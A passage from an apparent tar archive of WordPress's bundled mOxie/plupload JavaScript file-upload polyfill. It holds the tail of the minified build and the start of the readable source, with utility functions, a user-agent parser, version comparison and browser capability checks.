i,n,r,o,s=this,a=s.getRuntime();if(u=c=null,e instanceof E&&e.hasBlob()){if(o=e.getBlob(),i=o.uid,r=h.get(i),!(n=h.get(i+"_form")))throw new p.DOMException(p.DOMException.NOT_FOUND_ERR)}else i=m.guid("uid_"),(n=document.createElement("form")).setAttribute("id",i+"_form"),n.setAttribute("method",t.method),n.setAttribute("enctype","multipart/form-data"),n.setAttribute("encoding","multipart/form-data"),a.getShimContainer().appendChild(n);n.setAttribute("target",i+"_iframe"),e instanceof E&&e.each(function(e,t){var i;e instanceof x?r&&r.setAttribute("name",t):(i=document.createElement("input"),m.extend(i,{type:"hidden",name:t,value:e}),r?n.insertBefore(i,r):n.appendChild(i))}),n.setAttribute("action",t.url),e=a.getShimContainer()||document.body,(a=document.createElement("div")).innerHTML='<iframe id="'+i+'_iframe" name="'+i+'_iframe" src="javascript:""" style="display:none"></iframe>',l=a.firstChild,e.appendChild(l),g.addEvent(l,"load",function(){var e;try{e=l.contentWindow.document||l.contentDocument||window.frames[l.id].document,/^4(0[0-9]|1[0-7]|2[2346])\s/.test(e.title)?u=e.title.replace(/^(\d+).*$/,"$1"):(u=200,c=m.trim(e.body.innerHTML),s.trigger({type:"progress",loaded:c.length,total:c.length}),o&&s.trigger({type:"uploadprogress",loaded:o.size||1025,total:o.size||1025}))}catch(e){if(!f.hasSameOrigin(t.url))return void d.call(s,function(){s.trigger("error")});u=404}d.call(s,function(){s.trigger("load")})},s.uid),n.submit(),s.trigger("loadstart")},getStatus:function(){return u},getResponse:function(e){if("json"===e&&"string"===m.typeOf(c)&&window.JSON)try{return JSON.parse(c.replace(/^\s*<pre[^>]*>/,"").replace(/<\/pre>\s*$/,""))}catch(e){return null}return c},abort:function(){var e=this;l&&l.contentWindow&&(l.contentWindow.stop?l.contentWindow.stop():l.contentWindow.document.execCommand?l.contentWindow.document.execCommand("Stop"):l.src="about:blank"),d.call(this,function(){e.dispatchEvent("abort")})}})}}),e("moxie/runtime/html4/image/Image",["moxie/runtime/html4/Runtime","moxie/runtime/html5/image/Image"],function(e,t){return e.Image=t});for(var t=["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/I18n","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/file/FileInput","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/file/FileDrop","moxie/file/FileReader","moxie/core/utils/Url","moxie/runtime/RuntimeTarget","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/xhr/XMLHttpRequest","moxie/runtime/Transporter","moxie/image/Image","moxie/core/utils/Events"],i=0;i<t.length;i++){for(var r=o,a=t[i],u=a.split(/[.\/]/),c=0;c<u.length-1;++c)r[u[c]]===x&&(r[u[c]]={}),r=r[u[c]];r[u[u.length-1]]=s[a]}}(this),function(e){"use strict";var r={},o=e.moxie.core.utils.Basic.inArray;!function e(t){var i,n;for(i in t)"object"!=(n=typeof t[i])||~o(i,["Exceptions","Env","Mime"])?"function"==n&&(r[i]=t[i]):e(t[i])}(e.moxie),r.Env=e.moxie.core.utils.Env,r.Mime=e.moxie.core.utils.Mime,r.Exceptions=e.moxie.core.Exceptions,e.mOxie=r,e.o||(e.o=r)}(this); plupload/moxie.js 0000644 00000760606 15111757753 0010076 0 ustar 00 ;var MXI_DEBUG = false; /** * mOxie - multi-runtime File API & XMLHttpRequest L2 Polyfill * v1.3.5.1 * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing * * Date: 2016-05-15 */ /** * Compiled inline version. (Library mode) */ /** * Modified for WordPress. * - Silverlight and Flash runtimes support was removed. See https://core.trac.wordpress.org/ticket/41755. * - A stray Unicode character has been removed. See https://core.trac.wordpress.org/ticket/59329. * * This is a de-facto fork of the mOxie library that will be maintained by WordPress due to upstream license changes * that are incompatible with the GPL. */ /*jshint smarttabs:true, undef:true, latedef:true, curly:true, bitwise:true, camelcase:true */ /*globals $code */ (function(exports, undefined) { "use strict"; var modules = {}; function require(ids, callback) { var module, defs = []; for (var i = 0; i < ids.length; ++i) { module = modules[ids[i]] || resolve(ids[i]); if (!module) { throw 'module definition dependecy not found: ' + ids[i]; } defs.push(module); } callback.apply(null, defs); } function define(id, dependencies, definition) { if (typeof id !== 'string') { throw 'invalid module definition, module id must be defined and be a string'; } if (dependencies === undefined) { throw 'invalid module definition, dependencies must be specified'; } if (definition === undefined) { throw 'invalid module definition, definition function must be specified'; } require(dependencies, function() { modules[id] = definition.apply(null, arguments); }); } function defined(id) { return !!modules[id]; } function resolve(id) { var target = exports; var fragments = id.split(/[.\/]/); for (var fi = 0; fi < fragments.length; ++fi) { if (!target[fragments[fi]]) { return; } target = target[fragments[fi]]; } return target; } function expose(ids) { for (var i = 0; i < ids.length; i++) { var target = exports; var id = ids[i]; var fragments = id.split(/[.\/]/); for (var fi = 0; fi < fragments.length - 1; ++fi) { if (target[fragments[fi]] === undefined) { target[fragments[fi]] = {}; } target = target[fragments[fi]]; } target[fragments[fragments.length - 1]] = modules[id]; } } // Included from: src/javascript/core/utils/Basic.js /** * Basic.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/utils/Basic', [], function() { /** Gets the true type of the built-in object (better version of typeof). @author Angus Croll (http://javascriptweblog.wordpress.com/) @method typeOf @for Utils @static @param {Object} o Object to check. @return {String} Object [[Class]] */ var typeOf = function(o) { var undef; if (o === undef) { return 'undefined'; } else if (o === null) { return 'null'; } else if (o.nodeType) { return 'node'; } // the snippet below is awesome, however it fails to detect null, undefined and arguments types in IE lte 8 return ({}).toString.call(o).match(/\s([a-z|A-Z]+)/)[1].toLowerCase(); }; /** Extends the specified object with another object. @method extend @static @param {Object} target Object to extend. @param {Object} [obj]* Multiple objects to extend with. @return {Object} Same as target, the extended object. */ var extend = function(target) { var undef; each(arguments, function(arg, i) { if (i > 0) { each(arg, function(value, key) { if (value !== undef) { if (typeOf(target[key]) === typeOf(value) && !!~inArray(typeOf(value), ['array', 'object'])) { extend(target[key], value); } else { target[key] = value; } } }); } }); return target; }; /** Executes the callback function for each item in array/object. If you return false in the callback it will break the loop. @method each @static @param {Object} obj Object to iterate. @param {function} callback Callback function to execute for each item. */ var each = function(obj, callback) { var length, key, i, undef; if (obj) { if (typeOf(obj.length) === 'number') { // it might be Array, FileList or even arguments object // Loop array items for (i = 0, length = obj.length; i < length; i++) { if (callback(obj[i], i) === false) { return; } } } else if (typeOf(obj) === 'object') { // Loop object items for (key in obj) { if (obj.hasOwnProperty(key)) { if (callback(obj[key], key) === false) { return; } } } } } }; /** Checks if object is empty. @method isEmptyObj @static @param {Object} o Object to check. @return {Boolean} */ var isEmptyObj = function(obj) { var prop; if (!obj || typeOf(obj) !== 'object') { return true; } for (prop in obj) { return false; } return true; }; /** Recieve an array of functions (usually async) to call in sequence, each function receives a callback as first argument that it should call, when it completes. Finally, after everything is complete, main callback is called. Passing truthy value to the callback as a first argument will interrupt the sequence and invoke main callback immediately. @method inSeries @static @param {Array} queue Array of functions to call in sequence @param {Function} cb Main callback that is called in the end, or in case of error */ var inSeries = function(queue, cb) { var i = 0, length = queue.length; if (typeOf(cb) !== 'function') { cb = function() {}; } if (!queue || !queue.length) { cb(); } function callNext(i) { if (typeOf(queue[i]) === 'function') { queue[i](function(error) { /*jshint expr:true */ ++i < length && !error ? callNext(i) : cb(error); }); } } callNext(i); }; /** Recieve an array of functions (usually async) to call in parallel, each function receives a callback as first argument that it should call, when it completes. After everything is complete, main callback is called. Passing truthy value to the callback as a first argument will interrupt the process and invoke main callback immediately. @method inParallel @static @param {Array} queue Array of functions to call in sequence @param {Function} cb Main callback that is called in the end, or in case of error */ var inParallel = function(queue, cb) { var count = 0, num = queue.length, cbArgs = new Array(num); each(queue, function(fn, i) { fn(function(error) { if (error) { return cb(error); } var args = [].slice.call(arguments); args.shift(); // strip error - undefined or not cbArgs[i] = args; count++; if (count === num) { cbArgs.unshift(null); cb.apply(this, cbArgs); } }); }); }; /** Find an element in array and return it's index if present, otherwise return -1. @method inArray @static @param {Mixed} needle Element to find @param {Array} array @return {Int} Index of the element, or -1 if not found */ var inArray = function(needle, array) { if (array) { if (Array.prototype.indexOf) { return Array.prototype.indexOf.call(array, needle); } for (var i = 0, length = array.length; i < length; i++) { if (array[i] === needle) { return i; } } } return -1; }; /** Returns elements of first array if they are not present in second. And false - otherwise. @private @method arrayDiff @param {Array} needles @param {Array} array @return {Array|Boolean} */ var arrayDiff = function(needles, array) { var diff = []; if (typeOf(needles) !== 'array') { needles = [needles]; } if (typeOf(array) !== 'array') { array = [array]; } for (var i in needles) { if (inArray(needles[i], array) === -1) { diff.push(needles[i]); } } return diff.length ? diff : false; }; /** Find intersection of two arrays. @private @method arrayIntersect @param {Array} array1 @param {Array} array2 @return {Array} Intersection of two arrays or null if there is none */ var arrayIntersect = function(array1, array2) { var result = []; each(array1, function(item) { if (inArray(item, array2) !== -1) { result.push(item); } }); return result.length ? result : null; }; /** Forces anything into an array. @method toArray @static @param {Object} obj Object with length field. @return {Array} Array object containing all items. */ var toArray = function(obj) { var i, arr = []; for (i = 0; i < obj.length; i++) { arr[i] = obj[i]; } return arr; }; /** Generates an unique ID. The only way a user would be able to get the same ID is if the two persons at the same exact millisecond manage to get the same 5 random numbers between 0-65535; it also uses a counter so each ID is guaranteed to be unique for the given page. It is more probable for the earth to be hit with an asteroid. @method guid @static @param {String} prefix to prepend (by default 'o' will be prepended). @method guid @return {String} Virtually unique id. */ var guid = (function() { var counter = 0; return function(prefix) { var guid = new Date().getTime().toString(32), i; for (i = 0; i < 5; i++) { guid += Math.floor(Math.random() * 65535).toString(32); } return (prefix || 'o_') + guid + (counter++).toString(32); }; }()); /** Trims white spaces around the string @method trim @static @param {String} str @return {String} */ var trim = function(str) { if (!str) { return str; } return String.prototype.trim ? String.prototype.trim.call(str) : str.toString().replace(/^\s*/, '').replace(/\s*$/, ''); }; /** Parses the specified size string into a byte value. For example 10kb becomes 10240. @method parseSizeStr @static @param {String/Number} size String to parse or number to just pass through. @return {Number} Size in bytes. */ var parseSizeStr = function(size) { if (typeof(size) !== 'string') { return size; } var muls = { t: 1099511627776, g: 1073741824, m: 1048576, k: 1024 }, mul; size = /^([0-9\.]+)([tmgk]?)$/.exec(size.toLowerCase().replace(/[^0-9\.tmkg]/g, '')); mul = size[2]; size = +size[1]; if (muls.hasOwnProperty(mul)) { size *= muls[mul]; } return Math.floor(size); }; /** * Pseudo sprintf implementation - simple way to replace tokens with specified values. * * @param {String} str String with tokens * @return {String} String with replaced tokens */ var sprintf = function(str) { var args = [].slice.call(arguments, 1); return str.replace(/%[a-z]/g, function() { var value = args.shift(); return typeOf(value) !== 'undefined' ? value : ''; }); }; return { guid: guid, typeOf: typeOf, extend: extend, each: each, isEmptyObj: isEmptyObj, inSeries: inSeries, inParallel: inParallel, inArray: inArray, arrayDiff: arrayDiff, arrayIntersect: arrayIntersect, toArray: toArray, trim: trim, sprintf: sprintf, parseSizeStr: parseSizeStr }; }); // Included from: src/javascript/core/utils/Env.js /** * Env.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/core/utils/Env", [ "moxie/core/utils/Basic" ], function(Basic) { /** * UAParser.js v0.7.7 * Lightweight JavaScript-based User-Agent string parser * https://github.com/faisalman/ua-parser-js * * Copyright © 2012-2015 Faisal Salman <fyzlman@gmail.com> * Dual licensed under GPLv2 & MIT */ var UAParser = (function (undefined) { ////////////// // Constants ///////////// var EMPTY = '', UNKNOWN = '?', FUNC_TYPE = 'function', UNDEF_TYPE = 'undefined', OBJ_TYPE = 'object', MAJOR = 'major', MODEL = 'model', NAME = 'name', TYPE = 'type', VENDOR = 'vendor', VERSION = 'version', ARCHITECTURE= 'architecture', CONSOLE = 'console', MOBILE = 'mobile', TABLET = 'tablet'; /////////// // Helper ////////// var util = { has : function (str1, str2) { return str2.toLowerCase().indexOf(str1.toLowerCase()) !== -1; }, lowerize : function (str) { return str.toLowerCase(); } }; /////////////// // Map helper ////////////// var mapper = { rgx : function () { // loop through all regexes maps for (var result, i = 0, j, k, p, q, matches, match, args = arguments; i < args.length; i += 2) { var regex = args[i], // even sequence (0,2,4,..) props = args[i + 1]; // odd sequence (1,3,5,..) // construct object barebones if (typeof(result) === UNDEF_TYPE) { result = {}; for (p in props) { q = props[p]; if (typeof(q) === OBJ_TYPE) { result[q[0]] = undefined; } else { result[q] = undefined; } } } // try matching uastring with regexes for (j = k = 0; j < regex.length; j++) { matches = regex[j].exec(this.getUA()); if (!!matches) { for (p = 0; p < props.length; p++) { match = matches[++k]; q = props[p]; // check if given property is actually array if (typeof(q) === OBJ_TYPE && q.length > 0) { if (q.length == 2) { if (typeof(q[1]) == FUNC_TYPE) { // assign modified match result[q[0]] = q[1].call(this, match); } else { // assign given value, ignore regex match result[q[0]] = q[1]; } } else if (q.length == 3) { // check whether function or regex if (typeof(q[1]) === FUNC_TYPE && !(q[1].exec && q[1].test)) { // call function (usually string mapper) result[q[0]] = match ? q[1].call(this, match, q[2]) : undefined; } else { // sanitize match using given regex result[q[0]] = match ? match.replace(q[1], q[2]) : undefined; } } else if (q.length == 4) { result[q[0]] = match ? q[3].call(this, match.replace(q[1], q[2])) : undefined; } } else { result[q] = match ? match : undefined; } } break; } } if(!!matches) break; // break the loop immediately if match found } return result; }, str : function (str, map) { for (var i in map) { // check if array if (typeof(map[i]) === OBJ_TYPE && map[i].length > 0) { for (var j = 0; j < map[i].length; j++) { if (util.has(map[i][j], str)) { return (i === UNKNOWN) ? undefined : i; } } } else if (util.has(map[i], str)) { return (i === UNKNOWN) ? undefined : i; } } return str; } }; /////////////// // String map ////////////// var maps = { browser : { oldsafari : { major : { '1' : ['/8', '/1', '/3'], '2' : '/4', '?' : '/' }, version : { '1.0' : '/8', '1.2' : '/1', '1.3' : '/3', '2.0' : '/412', '2.0.2' : '/416', '2.0.3' : '/417', '2.0.4' : '/419', '?' : '/' } } }, device : { sprint : { model : { 'Evo Shift 4G' : '7373KT' }, vendor : { 'HTC' : 'APA', 'Sprint' : 'Sprint' } } }, os : { windows : { version : { 'ME' : '4.90', 'NT 3.11' : 'NT3.51', 'NT 4.0' : 'NT4.0', '2000' : 'NT 5.0', 'XP' : ['NT 5.1', 'NT 5.2'], 'Vista' : 'NT 6.0', '7' : 'NT 6.1', '8' : 'NT 6.2', '8.1' : 'NT 6.3', 'RT' : 'ARM' } } } }; ////////////// // Regex map ///////////// var regexes = { browser : [[ // Presto based /(opera\smini)\/([\w\.-]+)/i, // Opera Mini /(opera\s[mobiletab]+).+version\/([\w\.-]+)/i, // Opera Mobi/Tablet /(opera).+version\/([\w\.]+)/i, // Opera > 9.80 /(opera)[\/\s]+([\w\.]+)/i // Opera < 9.80 ], [NAME, VERSION], [ /\s(opr)\/([\w\.]+)/i // Opera Webkit ], [[NAME, 'Opera'], VERSION], [ // Mixed /(kindle)\/([\w\.]+)/i, // Kindle /(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i, // Lunascape/Maxthon/Netfront/Jasmine/Blazer // Trident based /(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i, // Avant/IEMobile/SlimBrowser/Baidu /(?:ms|\()(ie)\s([\w\.]+)/i, // Internet Explorer // Webkit/KHTML based /(rekonq)\/([\w\.]+)*/i, // Rekonq /(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi)\/([\w\.-]+)/i // Chromium/Flock/RockMelt/Midori/Epiphany/Silk/Skyfire/Bolt/Iron ], [NAME, VERSION], [ /(trident).+rv[:\s]([\w\.]+).+like\sgecko/i // IE11 ], [[NAME, 'IE'], VERSION], [ /(edge)\/((\d+)?[\w\.]+)/i // Microsoft Edge ], [NAME, VERSION], [ /(yabrowser)\/([\w\.]+)/i // Yandex ], [[NAME, 'Yandex'], VERSION], [ /(comodo_dragon)\/([\w\.]+)/i // Comodo Dragon ], [[NAME, /_/g, ' '], VERSION], [ /(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i, // Chrome/OmniWeb/Arora/Tizen/Nokia /(uc\s?browser|qqbrowser)[\/\s]?([\w\.]+)/i // UCBrowser/QQBrowser ], [NAME, VERSION], [ /(dolfin)\/([\w\.]+)/i // Dolphin ], [[NAME, 'Dolphin'], VERSION], [ /((?:android.+)crmo|crios)\/([\w\.]+)/i // Chrome for Android/iOS ], [[NAME, 'Chrome'], VERSION], [ /XiaoMi\/MiuiBrowser\/([\w\.]+)/i // MIUI Browser ], [VERSION, [NAME, 'MIUI Browser']], [ /android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i // Android Browser ], [VERSION, [NAME, 'Android Browser']], [ /FBAV\/([\w\.]+);/i // Facebook App for iOS ], [VERSION, [NAME, 'Facebook']], [ /version\/([\w\.]+).+?mobile\/\w+\s(safari)/i // Mobile Safari ], [VERSION, [NAME, 'Mobile Safari']], [ /version\/([\w\.]+).+?(mobile\s?safari|safari)/i // Safari & Safari Mobile ], [VERSION, NAME], [ /webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i // Safari < 3.0 ], [NAME, [VERSION, mapper.str, maps.browser.oldsafari.version]], [ /(konqueror)\/([\w\.]+)/i, // Konqueror /(webkit|khtml)\/([\w\.]+)/i ], [NAME, VERSION], [ // Gecko based /(navigator|netscape)\/([\w\.-]+)/i // Netscape ], [[NAME, 'Netscape'], VERSION], [ /(swiftfox)/i, // Swiftfox /(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i, // IceDragon/Iceweasel/Camino/Chimera/Fennec/Maemo/Minimo/Conkeror /(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i, // Firefox/SeaMonkey/K-Meleon/IceCat/IceApe/Firebird/Phoenix /(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i, // Mozilla // Other /(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf)[\/\s]?([\w\.]+)/i, // Polaris/Lynx/Dillo/iCab/Doris/Amaya/w3m/NetSurf /(links)\s\(([\w\.]+)/i, // Links /(gobrowser)\/?([\w\.]+)*/i, // GoBrowser /(ice\s?browser)\/v?([\w\._]+)/i, // ICE Browser /(mosaic)[\/\s]([\w\.]+)/i // Mosaic ], [NAME, VERSION] ], engine : [[ /windows.+\sedge\/([\w\.]+)/i // EdgeHTML ], [VERSION, [NAME, 'EdgeHTML']], [ /(presto)\/([\w\.]+)/i, // Presto /(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i, // WebKit/Trident/NetFront/NetSurf/Amaya/Lynx/w3m /(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i, // KHTML/Tasman/Links /(icab)[\/\s]([23]\.[\d\.]+)/i // iCab ], [NAME, VERSION], [ /rv\:([\w\.]+).*(gecko)/i // Gecko ], [VERSION, NAME] ], os : [[ // Windows based /microsoft\s(windows)\s(vista|xp)/i // Windows (iTunes) ], [NAME, VERSION], [ /(windows)\snt\s6\.2;\s(arm)/i, // Windows RT /(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i ], [NAME, [VERSION, mapper.str, maps.os.windows.version]], [ /(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i ], [[NAME, 'Windows'], [VERSION, mapper.str, maps.os.windows.version]], [ // Mobile/Embedded OS /\((bb)(10);/i // BlackBerry 10 ], [[NAME, 'BlackBerry'], VERSION], [ /(blackberry)\w*\/?([\w\.]+)*/i, // Blackberry /(tizen)[\/\s]([\w\.]+)/i, // Tizen /(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i, // Android/WebOS/Palm/QNX/Bada/RIM/MeeGo/Contiki /linux;.+(sailfish);/i // Sailfish OS ], [NAME, VERSION], [ /(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i // Symbian ], [[NAME, 'Symbian'], VERSION], [ /\((series40);/i // Series 40 ], [NAME], [ /mozilla.+\(mobile;.+gecko.+firefox/i // Firefox OS ], [[NAME, 'Firefox OS'], VERSION], [ // Console /(nintendo|playstation)\s([wids3portablevu]+)/i, // Nintendo/Playstation // GNU/Linux based /(mint)[\/\s\(]?(\w+)*/i, // Mint /(mageia|vectorlinux)[;\s]/i, // Mageia/VectorLinux /(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i, // Joli/Ubuntu/Debian/SUSE/Gentoo/Arch/Slackware // Fedora/Mandriva/CentOS/PCLinuxOS/RedHat/Zenwalk/Linpus /(hurd|linux)\s?([\w\.]+)*/i, // Hurd/Linux /(gnu)\s?([\w\.]+)*/i // GNU ], [NAME, VERSION], [ /(cros)\s[\w]+\s([\w\.]+\w)/i // Chromium OS ], [[NAME, 'Chromium OS'], VERSION],[ // Solaris /(sunos)\s?([\w\.]+\d)*/i // Solaris ], [[NAME, 'Solaris'], VERSION], [ // BSD based /\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i // FreeBSD/NetBSD/OpenBSD/PC-BSD/DragonFly ], [NAME, VERSION],[ /(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i // iOS ], [[NAME, 'iOS'], [VERSION, /_/g, '.']], [ /(mac\sos\sx)\s?([\w\s\.]+\w)*/i, /(macintosh|mac(?=_powerpc)\s)/i // Mac OS ], [[NAME, 'Mac OS'], [VERSION, /_/g, '.']], [ // Other /((?:open)?solaris)[\/\s-]?([\w\.]+)*/i, // Solaris /(haiku)\s(\w+)/i, // Haiku /(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i, // AIX /(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i, // Plan9/Minix/BeOS/OS2/AmigaOS/MorphOS/RISCOS/OpenVMS /(unix)\s?([\w\.]+)*/i // UNIX ], [NAME, VERSION] ] }; ///////////////// // Constructor //////////////// var UAParser = function (uastring) { var ua = uastring || ((window && window.navigator && window.navigator.userAgent) ? window.navigator.userAgent : EMPTY); this.getBrowser = function () { return mapper.rgx.apply(this, regexes.browser); }; this.getEngine = function () { return mapper.rgx.apply(this, regexes.engine); }; this.getOS = function () { return mapper.rgx.apply(this, regexes.os); }; this.getResult = function() { return { ua : this.getUA(), browser : this.getBrowser(), engine : this.getEngine(), os : this.getOS() }; }; this.getUA = function () { return ua; }; this.setUA = function (uastring) { ua = uastring; return this; }; this.setUA(ua); }; return UAParser; })(); function version_compare(v1, v2, operator) { // From: http://phpjs.org/functions // + original by: Philippe Jausions (http://pear.php.net/user/jausions) // + original by: Aidan Lister (http://aidanlister.com/) // + reimplemented by: Kankrelune (http://www.webfaktory.info/) // + improved by: Brett Zamir (http://brett-zamir.me) // + improved by: Scott Baker // + improved by: Theriault // * example 1: version_compare('8.2.5rc', '8.2.5a'); // * returns 1: 1 // * example 2: version_compare('8.2.50', '8.2.52', '<'); // * returns 2: true // * example 3: version_compare('5.3.0-dev', '5.3.0'); // * returns 3: -1 // * example 4: version_compare('4.1.0.52','4.01.0.51'); // * returns 4: 1 // Important: compare must be initialized at 0. var i = 0, x = 0, compare = 0, // vm maps textual PHP versions to negatives so they're less than 0. // PHP currently defines these as CASE-SENSITIVE. It is important to // leave these as negatives so that they can come before numerical versions // and as if no letters were there to begin with. // (1alpha is < 1 and < 1.1 but > 1dev1) // If a non-numerical value can't be mapped to this table, it receives // -7 as its value. vm = { 'dev': -6, 'alpha': -5, 'a': -5, 'beta': -4, 'b': -4, 'RC': -3, 'rc': -3, '#': -2, 'p': 1, 'pl': 1 }, // This function will be called to prepare each version argument. // It replaces every _, -, and + with a dot. // It surrounds any nonsequence of numbers/dots with dots. // It replaces sequences of dots with a single dot. // version_compare('4..0', '4.0') == 0 // Important: A string of 0 length needs to be converted into a value // even less than an unexisting value in vm (-7), hence [-8]. // It's also important to not strip spaces because of this. // version_compare('', ' ') == 1 prepVersion = function (v) { v = ('' + v).replace(/[_\-+]/g, '.'); v = v.replace(/([^.\d]+)/g, '.$1.').replace(/\.{2,}/g, '.'); return (!v.length ? [-8] : v.split('.')); }, // This converts a version component to a number. // Empty component becomes 0. // Non-numerical component becomes a negative number. // Numerical component becomes itself as an integer. numVersion = function (v) { return !v ? 0 : (isNaN(v) ? vm[v] || -7 : parseInt(v, 10)); }; v1 = prepVersion(v1); v2 = prepVersion(v2); x = Math.max(v1.length, v2.length); for (i = 0; i < x; i++) { if (v1[i] == v2[i]) { continue; } v1[i] = numVersion(v1[i]); v2[i] = numVersion(v2[i]); if (v1[i] < v2[i]) { compare = -1; break; } else if (v1[i] > v2[i]) { compare = 1; break; } } if (!operator) { return compare; } // Important: operator is CASE-SENSITIVE. // "No operator" seems to be treated as "<." // Any other values seem to make the function return null. switch (operator) { case '>': case 'gt': return (compare > 0); case '>=': case 'ge': return (compare >= 0); case '<=': case 'le': return (compare <= 0); case '==': case '=': case 'eq': return (compare === 0); case '<>': case '!=': case 'ne': return (compare !== 0); case '': case '<': case 'lt': return (compare < 0); default: return null; } } var can = (function() { var caps = { define_property: (function() { /* // currently too much extra code required, not exactly worth it try { // as of IE8, getters/setters are supported only on DOM elements var obj = {}; if (Object.defineProperty) { Object.defineProperty(obj, 'prop', { enumerable: true, configurable: true }); return true; } } catch(ex) {} if (Object.prototype.__defineGetter__ && Object.prototype.__defineSetter__) { return true; }*/ return false; }()), create_canvas: (function() { // On the S60 and BB Storm, getContext exists, but always returns undefined // so we actually have to call getContext() to verify // github.com/Modernizr/Modernizr/issues/issue/97/ var el = document.createElement('canvas'); return !!(el.getContext && el.getContext('2d')); }()), return_response_type: function(responseType) { try { if (Basic.inArray(responseType, ['', 'text', 'document']) !== -1) { return true; } else if (window.XMLHttpRequest) { var xhr = new XMLHttpRequest(); xhr.open('get', '/'); // otherwise Gecko throws an exception if ('responseType' in xhr) { xhr.responseType = responseType; // as of 23.0.1271.64, Chrome switched from throwing exception to merely logging it to the console (why? o why?) if (xhr.responseType !== responseType) { return false; } return true; } } } catch (ex) {} return false; }, // ideas for this heavily come from Modernizr (http://modernizr.com/) use_data_uri: (function() { var du = new Image(); du.onload = function() { caps.use_data_uri = (du.width === 1 && du.height === 1); }; setTimeout(function() { du.src = "data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw=="; }, 1); return false; }()), use_data_uri_over32kb: function() { // IE8 return caps.use_data_uri && (Env.browser !== 'IE' || Env.version >= 9); }, use_data_uri_of: function(bytes) { return (caps.use_data_uri && bytes < 33000 || caps.use_data_uri_over32kb()); }, use_fileinput: function() { if (navigator.userAgent.match(/(Android (1.0|1.1|1.5|1.6|2.0|2.1))|(Windows Phone (OS 7|8.0))|(XBLWP)|(ZuneWP)|(w(eb)?OSBrowser)|(webOS)|(Kindle\/(1.0|2.0|2.5|3.0))/)) { return false; } var el = document.createElement('input'); el.setAttribute('type', 'file'); return !el.disabled; } }; return function(cap) { var args = [].slice.call(arguments); args.shift(); // shift of cap return Basic.typeOf(caps[cap]) === 'function' ? caps[cap].apply(this, args) : !!caps[cap]; }; }()); var uaResult = new UAParser().getResult(); var Env = { can: can, uaParser: UAParser, browser: uaResult.browser.name, version: uaResult.browser.version, os: uaResult.os.name, // everybody intuitively types it in a lowercase for some reason osVersion: uaResult.os.version, verComp: version_compare, global_event_dispatcher: "moxie.core.EventTarget.instance.dispatchEvent" }; // for backward compatibility // @deprecated Use `Env.os` instead Env.OS = Env.os; if (MXI_DEBUG) { Env.debug = { runtime: true, events: false }; Env.log = function() { function logObj(data) { // TODO: this should recursively print out the object in a pretty way console.appendChild(document.createTextNode(data + "\n")); } var data = arguments[0]; if (Basic.typeOf(data) === 'string') { data = Basic.sprintf.apply(this, arguments); } if (window && window.console && window.console.log) { window.console.log(data); } else if (document) { var console = document.getElementById('moxie-console'); if (!console) { console = document.createElement('pre'); console.id = 'moxie-console'; //console.style.display = 'none'; document.body.appendChild(console); } if (Basic.inArray(Basic.typeOf(data), ['object', 'array']) !== -1) { logObj(data); } else { console.appendChild(document.createTextNode(data + "\n")); } } }; } return Env; }); // Included from: src/javascript/core/I18n.js /** * I18n.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/core/I18n", [ "moxie/core/utils/Basic" ], function(Basic) { var i18n = {}; return { /** * Extends the language pack object with new items. * * @param {Object} pack Language pack items to add. * @return {Object} Extended language pack object. */ addI18n: function(pack) { return Basic.extend(i18n, pack); }, /** * Translates the specified string by checking for the english string in the language pack lookup. * * @param {String} str String to look for. * @return {String} Translated string or the input string if it wasn't found. */ translate: function(str) { return i18n[str] || str; }, /** * Shortcut for translate function * * @param {String} str String to look for. * @return {String} Translated string or the input string if it wasn't found. */ _: function(str) { return this.translate(str); }, /** * Pseudo sprintf implementation - simple way to replace tokens with specified values. * * @param {String} str String with tokens * @return {String} String with replaced tokens */ sprintf: function(str) { var args = [].slice.call(arguments, 1); return str.replace(/%[a-z]/g, function() { var value = args.shift(); return Basic.typeOf(value) !== 'undefined' ? value : ''; }); } }; }); // Included from: src/javascript/core/utils/Mime.js /** * Mime.js * * Copyright 2013, Moxiecode Systems AB * Released under 